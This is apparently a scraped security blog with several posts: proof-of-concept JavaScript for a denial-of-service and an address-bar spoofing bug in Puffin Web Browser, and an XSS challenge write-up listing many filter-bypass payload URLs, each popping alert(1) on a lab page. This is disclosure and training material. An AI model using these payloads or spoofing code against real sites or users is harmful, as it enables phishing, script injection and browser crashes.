KNOX D3

Puffin Web Browser Pop Up Recursion Vulnerability - DOS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" imageanchor="1" style="background-color: white; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" style="border-width: 0px; padding: 10px;" width="320" /></a></div><table><tbody><tr><td class="webkit-line-number" value="1"></td><td class="webkit-line-content"><span class="webkit-html-tag">During my recent security research on "<b>Puffin Web Browser</b>" I found several security bugs with "<b>Puffin Web Browser</b>" ranging from low to high risk issues. My recent post "<a href="http://www.rafayhackingarticles.net/2014/07/puffin-web-browser-address-bar-spoofing.html" target="_blank">Puffin Web Browser Address Bar Spoofing</a>" already talked about a high risk vulnerability inside Puffin Web browser. </span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">However, today I would like to discuss about a low/medium risk issue known as "<b>Pop Up Recursion</b>" vulnerability resulting in a Denial Of Service. This is a known issue and in past has been already addressed in browsers such as Google Chrome, however Puffin Web Browser is still affected by the issue.  </span><br /><a name="more"></a><br /><h4>Vulnerability</h4>The vulnerability occurred due to mishandling of location.reload function, as it keeps reloading the document, however the issue more likely is present inside of not limiting the pop ups or simply offering no way to ignore further prompts. <br /><span class="webkit-html-tag"><b><br />Expected Result</b></span><br /><span class="webkit-html-tag"><b><br /></b>Puffin Web Browser should have opened a new window with single alert box.<br /><b><br />What actually happened? </b></span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">Puffin Web Browser recursively opens up new window on pressing the ok button and there is no way to prevent the page from creating additional pop ups just like Chrome, IE etc. </span><br /><b><br /></b><span class="webkit-html-tag"><b>Puffin Web Browser</b></span><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><span class="webkit-html-tag"></span><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" width="320" /></a></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">On pressing the "OK" button, it would reload the copy a current document in a new tab, on pressing "OK" on the second window, it would reload another copy of the current document in a new tab, this would keep growing until the browser finally crashes. </div><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="webkit-html-tag"><b>Chrome</b></span></div><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" width="320" /></a></span></div><br />In "Chrome" for android, this effect is limited by offering a checkbox to prevent the current document from creating additional dialogs.<br /><br /><h4>POC</h4><span style="font-weight: normal;">The following is the simple proof of concept:</span><br /><div><div><b><html></b></div><div><b><title>Puffin Web Browser Pop Up Recursion DOS</title></b></div><div><b><body></b></div><div><b><script></b></div><div><b>window = <span style="color: #cc0000;">window.open(location.reload('http://rafayhackingarticles.net'));</span></b></div><div><b>window.alert(window)</b></div><div><b></script></b></div><div><b></body></b></div><div><b></html></b></div></div></td></tr></tbody></table><h4>Fix</h4>Puffin Web Browser team has acknowledged the issue and have promised to fix them in next versions.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><br /></div>

Puffin Web Browser Pop Up Recursion Vulnerability - DOS

During my recent security research on " Puffin Web Browser " I found several security bugs with " Puffin Web Browser " r...

+ Read more »

Puffin Web Browser Address Bar Spoofing Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" width="320" /></a></div><br />During my recent research on Mobile browsers i have managed to find couple of interesting vulnerabilities such as SOP bypass, Denial of service and Address bar spoofing vulnerability which are worth doing a writeup. However, In the following writeup I would discuss about an "<b>Address Bar Spoofing Vulnerability</b>" present inside of a well known mobile browser for both Android and iOS known as <b>"Puffin Web Browser". </b><br /><a name="more"></a><br /><h4>Description</h4>Let's take a look at an official description of Puffin Web Browser.<br /><br /><i>Puffin Web Browser is a wicked fast Mobile Flash Browser. Once users experience the thrill of using Puffin, regular Mobile Internet just feels like torture. Puffin Free is the free version of Puffin family, and supports Adobe Flash during the daytime everyday</i>. Puffin Web Browser comes into two different flavours, a free version and a paid version.<br /><h4>Popularity </h4>According to recent stats by <a href="https://play.google.com/store/apps/details?id=com.cloudmosa.puffin&hl=en" rel="nofollow" target="_blank">Google play</a>, the approximate installs for "Puffin Web Browser Free" are some where between the range of 5 Million to 10 Million installs.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBDnD6BM_LTYqbXp639dtpgaXhrTkvA4dj8u2u3pDZfMpKD2G4KRAWxUj1VegQTp8N0SSk7PtGI8WZ9KY2vgI9fQaZZbYLSid400g_7b7UNguxjReot-Pn9-1riu40pWK7V9SSHNFlXI/s1600/aaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzBDnD6BM_LTYqbXp639dtpgaXhrTkvA4dj8u2u3pDZfMpKD2G4KRAWxUj1VegQTp8N0SSk7PtGI8WZ9KY2vgI9fQaZZbYLSid400g_7b7UNguxjReot-Pn9-1riu40pWK7V9SSHNFlXI/s1600/aaa.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Whereas, according to another popular Android market "<a href="http://www.mobogenie.com/apps/index.html" rel="nofollow" target="_blank">Mobogenie</a>", the approximate installs for "Puffin Web Browser Free" are more than 5 Million. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihE9oN0gWtmXZVMtsP9qTGZfpBPTCC6fPbnNOm28QDbKNPmGnS2VmQYo6xiry-TyBHih2oLqK3J9RRTzgoOPtVCJTHkdtl1PDcE0Gj5PfzM8khGvvRnzSIVlSNzc5ktmVUmvawgqlokic/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihE9oN0gWtmXZVMtsP9qTGZfpBPTCC6fPbnNOm28QDbKNPmGnS2VmQYo6xiry-TyBHih2oLqK3J9RRTzgoOPtVCJTHkdtl1PDcE0Gj5PfzM8khGvvRnzSIVlSNzc5ktmVUmvawgqlokic/s1600/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><u>This makes the total userbase of Puffin Web Browser more than 10 million</u>.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Vulnerability</h4></div><div class="separator" style="clear: both; text-align: left;">An "Address Bar Spoofing" vulnerability was addressed in "Puffin Web Browser" due to mishandling of javaScript's window.open function which is used to open a secondary browser window. This could be exploited by tricking the users into supplying senstive information such as username/passwords etc due to the fact that the address bar would display a legitimate URL, however it would be hosted on the attacker's page. </div><div class="separator" style="clear: both; text-align: left;"></div><h4>Proof Of Concept</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;">The following piece of javaScript code was used as a proof of concept by modifying <b>"David Vieria's" </b> POC to suit our needs and to demonstrate the vulnerability to the vendor. </div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><blockquote class="tr_bq" style="clear: both;"><script><br />document.getElementById('one').onclick = function() {<br />myWindow=window.open('http://rafayhackingarticles.net/','RHA','width=300,height=300,location=yes');<br />myWindow.document.write("<html><head></head><body><b>This page is still being hosted on rhainfosec.com, however the domain is pointing to rafayhackingarticles.net.</b><br><br><iframe src=\"http://www.rafayhackingarticles.net/\");></iframe></scri+pt></body></html>");<br />myWindow.focus();<br />return false;<br />}<br /></script></blockquote><br /><div class="separator" style="clear: both;"></div><div class="separator" style="clear: both;"><b>Steps To Reproduce</b></div><div class="separator" style="clear: both;"><br /></div><b>1) </b>Visit the following page from "Puffin Free Web Browser" -<b><a href="http://www.rhainfosec.com/test/" rel="" target="_blank">www.rhainfosec.com/test/</a></b><br /><b>2)</b> Click on the "demo" button.<br /><b>3) </b>A new window would pop up with the address bar pointing to <b>rafayhackingarticles.ne</b>t, however the page is still hosted on <b>rhainfosec.com. </b><br /><b><br /></b>In case of a real attack scenario, an attacker could create a fake login of facebook.com for instance and since the address bar would still be pointing to facebook.com, the victim would not<br /><h4>Demonstration</h4><iframe allowfullscreen="" frameborder="0" height="375" mozallowfullscreen="" src="//player.vimeo.com/video/99202667" webkitallowfullscreen="" width="500"></iframe><br /><h4>Impact</h4>The impact in my opinion is huge since this vulnerability could be abused in launching targetted and more effective phishing attacks, <u>which places 10 million users at risk.</u><br /><h4>Fix</h4>The vulnerability was submitted on 10'th of june, I received an initial response that they would let us know about the schedule, however after multiple emails, we didn't receive any response. Therefore, I decided to go for full disclosure and urge the users to beware.<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXspcDBjGUx29MEZZPP07cO08SUaWPSvDPJbGGnnMNhG_lrubCR-cC3tTYOul6XHs3W-ohYjced6X5Y6UudjCQdzhNiCakwFx7gMBXkXGukRvpl8keCjZ98pG8Wt_Nl3qiGMCahtKjPiI/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXspcDBjGUx29MEZZPP07cO08SUaWPSvDPJbGGnnMNhG_lrubCR-cC3tTYOul6XHs3W-ohYjced6X5Y6UudjCQdzhNiCakwFx7gMBXkXGukRvpl8keCjZ98pG8Wt_Nl3qiGMCahtKjPiI/s1600/Untitled.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;">As mentioned before, I have found several other vulnerabilities in mobile browsers, as soon as they get fixed I would blog about it. Kudos to<b> David Vieria</b> for his guidance. </div><h4>Timeline</h4><b>6/10/2014</b> - I reported the vulnerability.<br /><b>6/13/2014 </b>- Initial response.<br /><b>6/26/2014</b> - I asked again if they are willing to fix it.<br /><b>7/14/2014 </b>- Blogged about this issue.  </div>

Puffin Web Browser Address Bar Spoofing Vulnerability

During my recent research on Mobile browsers i have managed to find couple of interesting vulnerabilities such as SOP bypass, Denial of serv...

+ Read more »

Nokia Asha Series Lock Screen Bypass

Nokia Asha Series Lock Screen Bypass

There have been a lot of lock screen bypasses lately in almost every mobile deice such as iPhone, Samsung galaxy, HTC etc and if you observe...

+ Read more »

HTML5 Modern Day Attack And Defence Vectors

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" width="448" /></a></div>Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless factors to which I have lost count myself. Had it been one, I might have remembered it. First of all i was very busy with my studies and also I had been working on my final year project because its right around the corner. All this work had been consuming a lot if my time and then came the task of promoting my upcoming book "<b><a href="http://amazon.com/Ethical-Hacking-Penetration-Testing-Guide/dp/1482231611" rel="nofollow" target="_blank">Ethical Hacking and Penetration Testing Guide</a></b>" which took about 10 months of time period to write. Along with it, i have been exploring new horizons with Web Application Firewalls and working on a tool to automatically bypass blacklist based WAF.<br /><a name="more"></a><br />From a research point of view, I spent last four months researching on attack vectors with HTML5 and documented them in an easy to understand manner as a part of my semester project. However, i made several modifications later on to match the standards so that I could publish it on my blog.<br /><br />IT has been more than six years since the advent of HTML5 (dated back 2008), and as the time has passed by we have seen more and more websites utilizing HTML5 features and have witnessed that technologies like flash and silverlight are dying slowly.<br /><br />However, each of the HTML5 features could bring security issues if not used correctly, one of the major security issues with HTML5 is DOM Based XSS due to the heavy use of javascript in HTML5 based applications which would obviously be the prime highlight of this paper.<br /><br /> Being a firm believer of free education, here I present to you "<b>HTML5 Modern Day Attack And Defence Vectors</b>" free of cost and free of ads. Last but not least, I would like to sincerely thank "<b>lavakumar kuppan</b>" for his tremendous help and without him the quality of the paper would have been compromised. I hope you find it helpful.<br /><br />You can download the paper by clicking the "<a href="https://www.mediafire.com/?8ok5iqs8zz5tx8a" target="_blank">DOWNLOAD</a>" button below:<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUT9yOZytMK3BOGrWPawfZkfer8OF-xDcyd7YjWtkMTfCBtLXq5tYCg8UwCP6xelRLOidRpA1vlz-8Ev-M2GNiREj4xTv_0NjCuD43rcxxTbQ8CaHX5p10GL7Lw2ZMLZEXqXJN-u-j0R8/s320/Download-button.jpg" /></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>What's next? </u></b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">I also spent some time in researching previously unknown vulnerabilities with Mobile browsers and applications. As soon as they are fixed, I would be disclosing couple of ZERO day vulnerabilities in various apps, browsers etc which i found during my encounter with <u>Qmobile Noir A20</u> which uses a customized version of Android OS. So Stay Tuned.  </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>Timeline</u></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>6/29/2014 </b>- Fixed spelling mistakes and references.  </div><div class="separator" style="clear: both; text-align: left;"><b>7/7/2014</b> - Fixed more spelling and code formatting mistakes</div></div>

HTML5 Modern Day Attack And Defence Vectors

Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless fac...

+ Read more »

Rhainfosec XSS Challenge 2 - Writeup

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlGv0rVQ-2MNT7K6PVuih-WhP2Ej9cZpTzhBJcTTimxrdRV80dN8OQjDDPAfSwOyJ0K1mvwofO0eJCIOY3Egi7eSYcSapCci0Oq6RhBVl48K1PdVHEbV7n9Z1cmpJyCxTbuiBuyiqfDM/s1600/kanye-answers1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="278" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlGv0rVQ-2MNT7K6PVuih-WhP2Ej9cZpTzhBJcTTimxrdRV80dN8OQjDDPAfSwOyJ0K1mvwofO0eJCIOY3Egi7eSYcSapCci0Oq6RhBVl48K1PdVHEbV7n9Z1cmpJyCxTbuiBuyiqfDM/s400/kanye-answers1.jpeg" width="400" /></a></div><span style="font-weight: normal;">Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a blacklist based protection and the goal was to execute javascript alert(1). We had a huge number of participants for the challenge and in total we had more than 15k attempts for breaking the XSS filter. Out of which only 15 were worthy enough to break it.</span><br /><div><a name="more"></a><span style="font-weight: normal;"><br /></span></div><div><h4>Challenge Setup</h4></div><div><b><br /></b></div><div>The following were some of the specifications for the challenge: </div><div><br /></div><div><ul><li>We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript. </li><li>We blacklisted open & closed parenthesis, which is what most of the XSS vectors require. </li><li>We blacklisted source keyword to avoid an easy bypass. </li><li>We also blacklisted common DOM elements to reference the window such as this, top, window, self, parent (Later whitelisted) etc. </li><li>As per the rules, we specified that we would update the blacklist as soon as the challengers manage to find other ways to reference window and also for challengers to find new ways to reference window global variable. </li><li>PHP htmlspecialchars() function was used, so it was impossible to escape out of attribute as double quote was encoded. </li><li>The winners would be decided based upon the amount of unique vectors. </li></ul><div><h4>Hints</h4></div></div><div><b><br /></b></div><div>We gave two interesting hints for the challenge: </div><div><br /></div><div><ul style="text-align: left;"><li>"Use your parent to get to the top". We were referring to "Parent" or "ParentNode" which could be used as an alternative for window object. </li><li>"parentNode" - Upon realizing that people are still not able to solve the challenge, we released another important hint, where we actually revealed the name of the object.  </li></ul></div><h4 class="tr_bq" style="text-align: left;"><b>Solution</b></h4><div>At first, We received some ridiculously long solutions, however it was matter of time, when the participants were able to shorten it up and came up with our expected solution. With that being said, Let's now take a look at our expected solution: </div><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x onerror=parentNode['inne'%2B'rHTML']=URL#<img src=x onerror=alert(1)></blockquote>The solution was pretty simple, We simply used parentNode to reference the innerHTML property, if you notice that we have used %2B which is equivalent to + sign, we had to use it's encoded version since '+' sign was encoded, since  and set it equal to the URL. Which is equivalent to document.url.<br /><br />Next, all we had to do is to enter our vector after the hash sign and since, anything after the hash would not be sent to the server, we would be able to inject the vector of our choice. However, this solution would not work in firefox, since firefox encodes opening and closing brackets (<b><, ></b>) passed after hash when source is set to <a href="https://code.google.com/p/domxsswiki/wiki/LocationSources" rel="nofollow" target="_blank">document.url</a>.<br /><br /><div><h4>Winners </h4></div><div><b><br /></b></div><div><b><u>Mastao kinugawa </u></b>and <b><u>Pepe vila </u></b>came up with equal number of unique solution therefore they both are the conqueror of this challenge and are crowned as winners. Both of them kept coming with exceptional bypasses, till the point where further blacklisting was not possible without actually breaking the challenge. </div><div><br /></div><div>I would like to congratulate both of them and would like to thank them and all of other participants for taking out their precious time and participating in this challenge. </div><div><br /></div><div><b>Challenge Link</b></div><div><br /></div><div>We have already setup the challenge on hack.me for you to be able to validate it. Special thanks to Giuseppe Trotta for hosting the challenge at hack.me.</div><div><br /></div><div><a href="https://hack.me/101705/rhainfosec-xss-challenge-2.html%C2%A0" rel="nofollow" target="_blank">https://hack.me/101705/rhainfosec-xss-challenge-2.html </a></div><div><br /></div><div><h4>Solutions From Community</h4></div><div><br /></div><div>Let's now take a look at the solutions from community, the list is in descending order with an exception to Masato and Pepe vila as they have equal number of solutions. </div><h4 class="tr_bq" style="text-align: left;"><b>1. Masato Kinugawa</b></h4><div style="text-align: left;"><b>Solution#1</b></div><blockquote class="tr_bq" style="text-align: left;">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=head['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=all[0][%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=parentNode[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=activeElement[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#5</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=defaultView['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#6</b><br /><b>(IE only):</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=Script['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#7</b><br /><b>Safari only:</b><br /><blockquote class="tr_bq">( Please click the go button. FYI, document.domain='com' vector no longer works on Chrome.)<br />https://googledrive.com/host/0B9oV5VZLcjwOUl9LVm5Ydm84LWs/poc.html</blockquote><br /><b>Solution#8</b><br /><b>Firefox only</b>:<br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=content['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=content['documen'%2B't']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#9</b><br /><blockquote class="tr_bq"><script><br />function go(){<br />window.name="javascript:alert(1)"<br />window.open("https://challenges.prakharprasad.com/xss/2/xss.php<br />xss='x'onerror=opener.onerror=setTimeout%3Bopener.x.src=1","x");<br />location.href="https://challenges.prakharprasad.com/xss/2/xss.php<br />xss='x'id='x'onerror=throw'=1;locatio'%2B'n=nam'%2B'e'";<br />}<br /></script><br /><button onclick=go()>go</button></blockquote><br /><b>Solution#10</b><br /><b>It works on both Firefox and IE:</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'id='a'onerror=a['ownerD'%2B'ocument']['bod'%2B'y']['innerHTM'%2B'L']=a['ownerD'%2B'ocument']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>2. PEPE VILA</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq"> https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%0aonerror=d=attributes.src;d.ownerElement['innerHTM'%2b'L']=d['ownerDocumen'%2b't']['defaultVie'%2b'w']['locatio'%2b'n']['has'%2b'h']#<svg/onload=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=previousSibling['ownerDocumen'%2b't']['bod'%2b'y'][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=arguments[0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)><br />or if you blacklist "target" it's stil possible to use "srcElement" or<br />"path[0]".</blockquote><br /><b>Solution#5</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.srcElement[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#6</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.path[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#7</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=onerror[%27argumen%27%2b%27ts%27][0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#8</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Option;_[%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x<br />onerror=alert(1)></blockquote><br /><b>Solution#9</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onload=%27a["innerHTM"%2b"L"]=URL%27onerror=a={};a[src="logo.png"]=a=activeElement#<img/src=x onerror=alert(1)></blockquote><br /><b>Solution#10</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Text;_[%22ownerDocumen%22%2b%22t%22][%22bod%22%2b%22y%22][%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x<br />onerror=alert(1)></blockquote><h4><b>3. Mathias</b></h4><div style="font-weight: normal;"><b>Solution#1</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php?xss=a+onerror=%27parentNode.parentNode.parentNode.parentNode[%22<br />locatio%22%2b%22n%22]=%22javascrip%22%2b%22t:/*%22%2b<br />parentNode.parentNode.parentNode.parentNode[%22locatio%22%2b%22n%22][%22has%22%2b%22h%22]%27#*/alert(1)</blockquote><div style="font-weight: normal;"><br /><b>Solution#2</b><br /><blockquote class="tr_bq"><body onload="location='https://challenges.prakharprasad.com/xss/2/xss.php?*/alert(1)';">Click me</body></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">var x = window.open('https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27opener["loc"%2b"ation"]="javascri"%2b"pt:/*"%2<br />bopener["loc"%2b"ation"]%27%20"');</blockquote></div><div style="font-weight: normal;"><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20height=20000%20width=200000%20onmouseover=%27event.fromElement<br />["innerHTM"%2b"L"]=event.view["locatio"%2b"n"]["has"%2b"h"]'#<img src=x onerror=alert(1)></blockquote></div><div style="font-weight: normal;"><br /><b>Solution#5</b><br /><blockquote 